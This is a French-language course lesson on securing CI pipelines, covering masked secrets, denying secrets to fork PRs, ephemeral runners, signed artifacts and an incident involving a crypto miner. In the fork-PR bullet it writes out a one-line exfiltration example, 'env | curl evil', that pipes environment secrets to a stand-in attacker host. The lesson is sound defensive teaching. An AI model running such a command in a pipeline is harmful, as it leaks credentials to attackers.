CI sécurisée : pipeline sans fuites

Prérequis : cours précédent + DevOps 5.1 (pipeline).

Pourquoi

La CI voit tout : code, secrets, accès prod. Une CI poreuse (secrets en clair, runners partagés, PRs externes qui exécutent du code) = la prod offerte avec un beau pipeline.

Concepts

• Secrets CI : variables masquées/protégées (branches/tags protégés uniquement), jamais en clair, jamais en écho (set +x autour des usages, masquage des logs). Rotation comme ailleurs.
• PRs externes (forks) : ne JAMAIS donner les secrets aux pipelines de forks (vol en une ligne : env | curl evil). Jobs limités (lint/tests sans secrets) + approbation manuelle avant exécution.
• Runners : isolés et éphémères si possible (un job = une VM/container jetable). Runner shell persistant partagé : résidus entre jobs (fichiers, process, cache empoisonné).
• Artefacts : signer (cosign/sigstore) les images releasées ; provenance (SLSA : qui a buildé quoi, d'où) pour les critiques.

Exemple : les 4 règles du YAML

# 1. Secrets : que masqués/protégés, jamais echo
# 2. Forks : sans secrets, jobs limités, approbation manuelle
# 3. Runner : éphémère/isolé si possible
# 4. Images : signées (cosign), SBOM joint

Cas réel

Miner dans la CI : PR externe qui modifie le YAML (jobs avec secrets désactivés ? non — mal configuré, secrets exposés) + runner persistant = minage pendant 3 semaines + secrets exfiltrés. Correctif : forks sans secrets + runners éphémères + audit des accès.

Pièges

• echo $SECRET en debug oublié : dans les logs pour toujours (et les logs CI se conservent !).
• Cache partagé entre branches : empoisonnement (une branche piégée infecte les autres). Caches par branche/confiance.
• Artifacts non signés : on ne sait plus ce qui tourne vraiment. Signer les releases.

À retenir

Secrets masqués/protégés, forks sans secrets + approbation, runners éphémères, releases signées.